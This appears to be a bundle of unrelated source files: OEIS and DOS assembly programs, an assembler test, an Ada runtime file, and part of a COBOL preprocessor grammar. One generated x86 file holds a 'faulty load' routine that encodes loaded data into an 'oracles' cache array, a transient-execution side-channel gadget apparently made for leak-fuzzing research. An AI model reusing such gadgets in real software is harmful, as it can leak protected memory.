'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'00': 19148} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
programs/oeis/267/A267210.asm
karttu/loda
0
13709
<gh_stars>0 ; A267210: Decimal representation of the middle column of the "Rule 109" elementary cellular automaton starting with a single ON (black) cell. ; 1,3,7,14,29,59,118,237,475,950,1901,3803,7606,15213,30427,60854,121709,243419,486838,973677,1947355,3894710,7789421,15578843,31157686,62315373,124630747,249261494,498522989,997045979,1994091958,3988183917,7976367835,15952735670,31905471341,63810942683,127621885366,255243770733,510487541467,1020975082934,2041950165869,4083900331739,8167800663478,16335601326957,32671202653915,65342405307830,130684810615661,261369621231323,522739242462646,1045478484925293,2090956969850587,4181913939701174,8363827879402349 add $0,3 mov $1,1 mov $2,6 lpb $0,1 sub $0,1 add $1,$2 mul $1,2 lpe div $1,8 add $1,7 div $1,7 sub $1,1
randomly-solved-programs/reverse.asm
informramiz/Assembly-Language-Programs
0
1478
<filename>randomly-solved-programs/reverse.asm .MODEL SMALL .STACK 100H .DATA ARRAY1 DB 'a','b','c','d','e','f','g','h','i','j' ARRAY2 DB 0H,0H,0H,0H,0H,0H,0H,0H,0H,0H .CODE MAIN PROC MOV AX,@DATA MOV DS,AX MOV CX,10 LEA si,array1+9 LEA di,ARRAY2 COPY: MOV AH,[si] MOV [di],AH dec si inc di DEC CX JNZ COPY MOV AH,2 MOV CX,16 MOV DL,ARRAY1 DISPLAY: INT 21H DEC ARRAY1 MOV DL,ARRAY1 DEC CX JNZ DISPLAY EXIT: MOV AH,4CH INT 21H MAIN ENDP END MAIN
tests/devices/disp.asm
cizo2000/sjasmplus
220
25018
DEVICE ZXSPECTRUM128 SLOT 0 : PAGE 0 : SLOT 1 : PAGE 1 : SLOT 2 : PAGE 2 : SLOT 3 : PAGE 3 ORG 0x4000-2 orgLabel: DISP 0xC000-1 dispLabel: set 5,(ix+0x41) ; 4B opcode across both ORG and DISP boundaries ENT ORG 0x8000-2 orgLabel2: DISP 0xC000-3 dispLabel2: set 5,(ix+0x41) ENT ; verification of results DW {0x4000-2}, {0x4000}, {0x8000-2}, {0x8000}, {0xC000-2}, {0xC000}
source/image/required/s-wwdenu.adb
ytomino/drake
33
6056
with System.Wid_Enum; package body System.WWd_Enum is function Wide_Width_Enumeration_8 ( Names : String; Indexes : Address; Lo, Hi : Natural; EM : WC_Encoding_Method := 1) return Natural is pragma Unreferenced (EM); begin return Wid_Enum.Width_Enumeration_8 (Names, Indexes, Lo, Hi); end Wide_Width_Enumeration_8; function Wide_Width_Enumeration_16 ( Names : String; Indexes : Address; Lo, Hi : Natural; EM : WC_Encoding_Method := 1) return Natural is pragma Unreferenced (EM); begin return Wid_Enum.Width_Enumeration_16 (Names, Indexes, Lo, Hi); end Wide_Width_Enumeration_16; function Wide_Width_Enumeration_32 ( Names : String; Indexes : Address; Lo, Hi : Natural; EM : WC_Encoding_Method := 1) return Natural is pragma Unreferenced (EM); begin return Wid_Enum.Width_Enumeration_32 (Names, Indexes, Lo, Hi); end Wide_Width_Enumeration_32; function Wide_Wide_Width_Enumeration_8 ( Names : String; Indexes : Address; Lo, Hi : Natural; EM : WC_Encoding_Method := 1) return Natural is pragma Unreferenced (EM); begin return Wid_Enum.Width_Enumeration_8 (Names, Indexes, Lo, Hi); end Wide_Wide_Width_Enumeration_8; function Wide_Wide_Width_Enumeration_16 ( Names : String; Indexes : Address; Lo, Hi : Natural; EM : WC_Encoding_Method := 1) return Natural is pragma Unreferenced (EM); begin return Wid_Enum.Width_Enumeration_16 (Names, Indexes, Lo, Hi); end Wide_Wide_Width_Enumeration_16; function Wide_Wide_Width_Enumeration_32 ( Names : String; Indexes : Address; Lo, Hi : Natural; EM : WC_Encoding_Method := 1) return Natural is pragma Unreferenced (EM); begin return Wid_Enum.Width_Enumeration_32 (Names, Indexes, Lo, Hi); end Wide_Wide_Width_Enumeration_32; end System.WWd_Enum;
Transynther/x86/_processed/NC/_st_zr_/i9-9900K_12_0xca_notsx.log_21829_1107.asm
ljhsiun2/medusa
9
95509
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NC/_st_zr_/i9-9900K_12_0xca_notsx.log_21829_1107.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %r8 push %rbp push %rbx lea addresses_A_ht+0x1bc02, %r10 inc %rbx mov (%r10), %ebp nop nop and %r14, %r14 lea addresses_UC_ht+0xe2fa, %r12 and $56965, %r8 mov $0x6162636465666768, %r13 movq %r13, %xmm5 and $0xffffffffffffffc0, %r12 movntdq %xmm5, (%r12) nop nop and %r10, %r10 lea addresses_UC_ht+0x1aefa, %rbx nop nop xor %r10, %r10 and $0xffffffffffffffc0, %rbx movntdqa (%rbx), %xmm0 vpextrq $1, %xmm0, %r13 cmp %r8, %r8 lea addresses_A_ht+0x163fa, %r14 nop nop nop nop nop dec %r10 vmovups (%r14), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r12 nop dec %r14 lea addresses_D_ht+0x183fa, %rbx cmp $7716, %r10 movw $0x6162, (%rbx) nop nop nop lfence lea addresses_WT_ht+0x1dffa, %r13 xor $32724, %r8 mov $0x6162636465666768, %rbx movq %rbx, %xmm5 movups %xmm5, (%r13) dec %r8 pop %rbx pop %rbp pop %r8 pop %r14 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi // Store lea addresses_normal+0x62c8, %r9 nop nop nop dec %rax mov $0x5152535455565758, %r14 movq %r14, (%r9) nop nop nop nop and $12287, %r14 // REPMOV lea addresses_WT+0x4e50, %rsi lea addresses_WC+0xf7a, %rdi nop sub %r13, %r13 mov $75, %rcx rep movsw nop nop xor %r8, %r8 // Load lea addresses_RW+0x1527a, %r8 inc %r10 movb (%r8), %cl nop and $19138, %r9 // Faulty Load mov $0x27aea70000000ffa, %rdi nop nop nop nop sub $15254, %rax mov (%rdi), %r14w lea oracles, %r9 and $0xff, %r14 shlq $12, %r14 mov (%r9,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'00': 19801, '39': 2028} 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 39 00 00 00 00 39 00 00 00 00 00 39 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 39 00 00 00 00 00 00 00 39 39 39 00 00 00 00 00 00 00 00 39 00 00 00 00 39 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 39 00 00 00 00 00 39 00 00 00 00 00 00 00 39 00 39 00 00 00 00 39 00 39 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 39 00 39 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 39 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 39 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 39 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 39 00 00 00 00 00 00 39 00 00 00 00 00 00 39 39 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 39 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 39 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 39 00 39 00 00 00 39 00 00 39 00 00 00 39 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 39 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39 00 00 00 00 39 00 00 00 */
src/main/antlr4/io/proleap/cobol/Cobol85Preprocessor.g4
stawi/cobol85parser
0
5694
/* * Copyright (C) 2017, <NAME> <<EMAIL>> * All rights reserved. * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ /* * COBOL 85 Preprocessor Grammar for ANTLR4 * * This is a preprocessor grammar for COBOL 85, which is part of the COBOL * parser at https://github.com/uwol/cobol85parser. */ grammar Cobol85Preprocessor; startRule : (compilerOptions | copyStatement | execCicsStatement | execSqlStatement | execSqlImsStatement | replaceOffStatement | replaceArea | ejectStatement | skipStatement | titleStatement | charDataLine | NEWLINE)* EOF ; // compiler options compilerOptions : (PROCESS | CBL) (COMMACHAR? compilerOption | compilerXOpts)+ ; compilerXOpts : XOPTS LPARENCHAR compilerOption (COMMACHAR? compilerOption)* RPARENCHAR ; compilerOption : ADATA | ADV | APOST | (ARITH | AR) LPARENCHAR (EXTEND | E_CHAR | COMPAT | C_CHAR) RPARENCHAR | AWO | BLOCK0 | (BUFSIZE | BUF) LPARENCHAR literal RPARENCHAR | CBLCARD | CICS (LPARENCHAR literal RPARENCHAR)? | COBOL2 | COBOL3 | (CODEPAGE | CP) LPARENCHAR literal RPARENCHAR | (COMPILE | C_CHAR) | CPP | CPSM | (CURRENCY | CURR) LPARENCHAR literal RPARENCHAR | DATA LPARENCHAR literal RPARENCHAR | (DATEPROC | DP) (LPARENCHAR (FLAG | NOFLAG)? COMMACHAR? (TRIG | NOTRIG)? RPARENCHAR)? | DBCS | (DECK | D_CHAR) | DEBUG | (DIAGTRUNC | DTR) | DLL | (DUMP | DU) | (DYNAM | DYN) | EDF | EPILOG | EXIT | (EXPORTALL | EXP) | (FASTSRT | FSRT) | FEPI | (FLAG | F_CHAR) LPARENCHAR (E_CHAR | I_CHAR | S_CHAR | U_CHAR | W_CHAR) (COMMACHAR (E_CHAR | I_CHAR | S_CHAR | U_CHAR | W_CHAR))? RPARENCHAR | FLAGSTD LPARENCHAR (M_CHAR | I_CHAR | H_CHAR) (COMMACHAR (D_CHAR | DD | N_CHAR | NN | S_CHAR | SS))? RPARENCHAR | GDS | GRAPHIC | INTDATE LPARENCHAR (ANSI | LILIAN) RPARENCHAR | (LANGUAGE | LANG) LPARENCHAR (ENGLISH | CS | EN | JA | JP | KA | UE) RPARENCHAR | LEASM | LENGTH | LIB | LIN | (LINECOUNT | LC) LPARENCHAR literal RPARENCHAR | LINKAGE | LIST | MAP | MARGINS LPARENCHAR literal COMMACHAR literal (COMMACHAR literal)? RPARENCHAR | (MDECK | MD) (LPARENCHAR (C_CHAR | COMPILE | NOC | NOCOMPILE) RPARENCHAR)? | NAME (LPARENCHAR (ALIAS | NOALIAS) RPARENCHAR)? | NATLANG LPARENCHAR (CS | EN | KA) RPARENCHAR | NOADATA | NOADV | NOAWO | NOBLOCK0 | NOCBLCARD | NOCICS | NOCMPR2 | (NOCOMPILE | NOC) (LPARENCHAR (S_CHAR | E_CHAR | W_CHAR) RPARENCHAR)? | NOCPSM | (NOCURRENCY | NOCURR) | (NODATEPROC | NODP) | NODBCS | NODEBUG | (NODECK | NOD) | NODLL | NODE | (NODUMP | NODU) | (NODIAGTRUNC | NODTR) | (NODYNAM | NODYN) | NOEDF | NOEPILOG | NOEXIT | (NOEXPORTALL | NOEXP) | (NOFASTSRT | NOFSRT) | NOFEPI | (NOFLAG | NOF) | NOFLAGMIG | NOFLAGSTD | NOGRAPHIC | NOLENGTH | NOLIB | NOLINKAGE | NOLIST | NOMAP | (NOMDECK | NOMD) | NONAME | (NONUMBER | NONUM) | (NOOBJECT | NOOBJ) | (NOOFFSET | NOOFF) | NOOPSEQUENCE | (NOOPTIMIZE | NOOPT) | NOOPTIONS | NOP | NOPROLOG | NORENT | (NOSEQUENCE | NOSEQ) | (NOSOURCE | NOS) | NOSPIE | NOSQL | (NOSQLCCSID | NOSQLC) | (NOSSRANGE | NOSSR) | NOSTDTRUNC | (NOTERMINAL | NOTERM) | NOTEST | NOTHREAD | NOVBREF | (NOWORD | NOWD) | NSEQ | (NSYMBOL | NS) LPARENCHAR (NATIONAL | NAT | DBCS) RPARENCHAR | NOVBREF | (NOXREF | NOX) | NOZWB | (NUMBER | NUM) | NUMPROC LPARENCHAR (MIG | NOPFD | PFD) RPARENCHAR | (OBJECT | OBJ) | (OFFSET | OFF) | OPMARGINS LPARENCHAR literal COMMACHAR literal (COMMACHAR literal)? RPARENCHAR | OPSEQUENCE LPARENCHAR literal COMMACHAR literal RPARENCHAR | (OPTIMIZE | OPT) (LPARENCHAR (FULL | STD) RPARENCHAR)? | OPTFILE | OPTIONS | OP | (OUTDD | OUT) LPARENCHAR cobolWord RPARENCHAR | (PGMNAME | PGMN) LPARENCHAR (CO | COMPAT | LM | LONGMIXED | LONGUPPER | LU | M_CHAR | MIXED | U_CHAR | UPPER) RPARENCHAR | PROLOG | (QUOTE | Q_CHAR) | RENT | RMODE LPARENCHAR (ANY | AUTO | literal) RPARENCHAR | (SEQUENCE | SEQ) (LPARENCHAR literal COMMACHAR literal RPARENCHAR)? | (SIZE | SZ) LPARENCHAR (MAX | literal) RPARENCHAR | (SOURCE | S_CHAR) | SP | SPACE LPARENCHAR literal RPARENCHAR | SPIE | SQL (LPARENCHAR literal RPARENCHAR)? | (SQLCCSID | SQLC) | (SSRANGE | SSR) | SYSEIB | (TERMINAL | TERM) | TEST (LPARENCHAR (HOOK | NOHOOK)? COMMACHAR? (SEP | SEPARATE | NOSEP | NOSEPARATE)? COMMACHAR? (EJPD | NOEJPD)? RPARENCHAR)? | THREAD | TRUNC LPARENCHAR (BIN | OPT | STD) RPARENCHAR | VBREF | (WORD | WD) LPARENCHAR cobolWord RPARENCHAR | (XMLPARSE | XP) LPARENCHAR (COMPAT | C_CHAR | XMLSS | X_CHAR) RPARENCHAR | (XREF | X_CHAR) (LPARENCHAR (FULL | SHORT)? RPARENCHAR)? | (YEARWINDOW | YW) LPARENCHAR literal RPARENCHAR | ZWB ; // exec cics statement execCicsStatement : EXEC CICS charData END_EXEC DOT? ; // exec sql statement execSqlStatement : EXEC SQL charDataSql END_EXEC DOT? ; // exec sql ims statement execSqlImsStatement : EXEC SQLIMS charData END_EXEC DOT? ; // copy statement copyStatement : COPY copySource (NEWLINE* (directoryPhrase | familyPhrase | replacingPhrase | SUPPRESS))* NEWLINE* DOT ; copySource : (literal | cobolWord | filename) ((OF | IN) copyLibrary)? ; copyLibrary : literal | cobolWord ; replacingPhrase : REPLACING NEWLINE* replaceClause (NEWLINE+ replaceClause)* ; // replace statement replaceArea : replaceByStatement (copyStatement | charData)* replaceOffStatement? ; replaceByStatement : REPLACE (NEWLINE* replaceClause)+ DOT ; replaceOffStatement : REPLACE OFF DOT ; replaceClause : replaceable NEWLINE* BY NEWLINE* replacement (NEWLINE* directoryPhrase)? (NEWLINE* familyPhrase)? ; directoryPhrase : (OF | IN) NEWLINE* (literal | cobolWord) ; familyPhrase : ON NEWLINE* (literal | cobolWord) ; replaceable : literal | cobolWord | pseudoText | charDataLine ; replacement : literal | cobolWord | pseudoText | charDataLine ; // eject statement ejectStatement : EJECT DOT? ; // skip statement skipStatement : (SKIP1 | SKIP2 | SKIP3) DOT? ; // title statement titleStatement : TITLE literal DOT? ; // literal ---------------------------------- pseudoText : DOUBLEEQUALCHAR charData? DOUBLEEQUALCHAR ; charData : (charDataLine | NEWLINE)+ ; charDataSql : (charDataLine | COPY | REPLACE | NEWLINE)+ ; charDataLine : (cobolWord | literal | filename | TEXT | DOT | LPARENCHAR | RPARENCHAR)+ ; cobolWord : IDENTIFIER | charDataKeyword ; literal : NONNUMERICLITERAL | NUMERICLITERAL ; filename : FILENAME ; // keywords ---------------------------------- charDataKeyword : ADATA | ADV | ALIAS | ANSI | ANY | APOST | AR | ARITH | AUTO | AWO | BIN | BLOCK0 | BUF | BUFSIZE | BY | CBL | CBLCARD | CO | COBOL2 | COBOL3 | CODEPAGE | COMMACHAR | COMPAT | COMPILE | CP | CPP | CPSM | CS | CURR | CURRENCY | DATA | DATEPROC | DBCS | DD | DEBUG | DECK | DIAGTRUNC | DLI | DLL | DP | DTR | DU | DUMP | DYN | DYNAM | EDF | EJECT | EJPD | EN | ENGLISH | EPILOG | EXCI | EXIT | EXP | EXPORTALL | EXTEND | FASTSRT | FLAG | FLAGSTD | FULL | FSRT | GDS | GRAPHIC | HOOK | IN | INTDATE | JA | JP | KA | LANG | LANGUAGE | LC | LENGTH | LIB | LILIAN | LIN | LINECOUNT | LINKAGE | LIST | LM | LONGMIXED | LONGUPPER | LU | MAP | MARGINS | MAX | MD | MDECK | MIG | MIXED | NAME | NAT | NATIONAL | NATLANG | NN | NO | NOADATA | NOADV | NOALIAS | NOAWO | NOBLOCK0 | NOC | NOCBLCARD | NOCICS | NOCMPR2 | NOCOMPILE | NOCPSM | NOCURR | NOCURRENCY | NOD | NODATEPROC | NODBCS | NODE | NODEBUG | NODECK | NODIAGTRUNC | NODLL | NODU | NODUMP | NODP | NODTR | NODYN | NODYNAM | NOEDF | NOEJPD | NOEPILOG | NOEXIT | NOEXP | NOEXPORTALL | NOF | NOFASTSRT | NOFEPI | NOFLAG | NOFLAGMIG | NOFLAGSTD | NOFSRT | NOGRAPHIC | NOHOOK | NOLENGTH | NOLIB | NOLINKAGE | NOLIST | NOMAP | NOMD | NOMDECK | NONAME | NONUM | NONUMBER | NOOBJ | NOOBJECT | NOOFF | NOOFFSET | NOOPSEQUENCE | NOOPT | NOOPTIMIZE | NOOPTIONS | NOP | NOPFD | NOPROLOG | NORENT | NOS | NOSEP | NOSEPARATE | NOSEQ | NOSEQUENCE | NOSOURCE | NOSPIE | NOSQL | NOSQLC | NOSQLCCSID | NOSSR | NOSSRANGE | NOSTDTRUNC | NOTERM | NOTERMINAL | NOTEST | NOTHREAD | NOTRIG | NOVBREF | NOWORD | NOX | NOXREF | NOZWB | NSEQ | NSYMBOL | NS | NUM | NUMBER | NUMPROC | OBJ | OBJECT | ON | OF | OFF | OFFSET | OPMARGINS | OPSEQUENCE | OPTIMIZE | OP | OPT | OPTFILE | OPTIONS | OUT | OUTDD | PFD | PGMN | PGMNAME | PPTDBG | PROCESS | PROLOG | QUOTE | RENT | REPLACING | RMODE | SEQ | SEQUENCE | SEP | SEPARATE | SHORT | SIZE | SOURCE | SP | SPACE | SPIE | SQL | SQLC | SQLCCSID | SS | SSR | SSRANGE | STD | SYSEIB | SZ | TERM | TERMINAL | TEST | THREAD | TITLE | TRIG | TRUNC | UE | UPPER | VBREF | WD | XMLPARSE | XMLSS | XOPTS | XREF | YEARWINDOW | YW | ZWB | C_CHAR | D_CHAR | E_CHAR | F_CHAR | H_CHAR | I_CHAR | M_CHAR | N_CHAR | Q_CHAR | S_CHAR | U_CHAR | W_CHAR | X_CHAR ; // lexer rules -------------------------------------------------------------------------------- // keywords ADATA : A D A T A; ADV : A D V; ALIAS : A L I A S; ANSI : A N S I; ANY : A N Y; APOST : A P O S T; AR : A R; ARITH : A R I T H; AUTO : A U T O; AWO : A W O; BIN : B I N; BLOCK0 : B L O C K '0'; BUF : B U F; BUFSIZE : B U F S I Z E; BY : B Y; CBL : C B L; CBLCARD : C B L C A R D; CICS : C I C S; CO : C O; COBOL2 : C O B O L '2'; COBOL3 : C O B O L '3'; CODEPAGE : C O D E P A G E; COMPAT : C O M P A T; COMPILE : C O M P I L E; COPY : C O P Y; CP : C P; CPP : C P P; CPSM : C P S M; CS : C S; CURR : C U R R; CURRENCY : C U R R E N C Y; DATA : D A T A; DATEPROC : D A T E P R O C; DBCS : D B C S; DD : D D; DEBUG : D E B U G; DECK : D E C K; DIAGTRUNC : D I A G T R U N C; DLI : D L I; DLL : D L L; DP : D P; DTR : D T R; DU : D U; DUMP : D U M P; DYN : D Y N; DYNAM : D Y N A M; EDF : E D F; EJECT : E J E C T; EJPD : E J P D; EN : E N; ENGLISH : E N G L I S H; END_EXEC : E N D '-' E X E C; EPILOG : E P I L O G; EXCI : E X C I; EXEC : E X E C; EXIT : E X I T; EXP : E X P; EXPORTALL : E X P O R T A L L; EXTEND : E X T E N D; FASTSRT : F A S T S R T; FEPI : F E P I; FLAG : F L A G; FLAGSTD : F L A G S T D; FSRT : F S R T; FULL : F U L L; GDS : G D S; GRAPHIC : G R A P H I C; HOOK : H O O K; IN : I N; INTDATE : I N T D A T E; JA : J 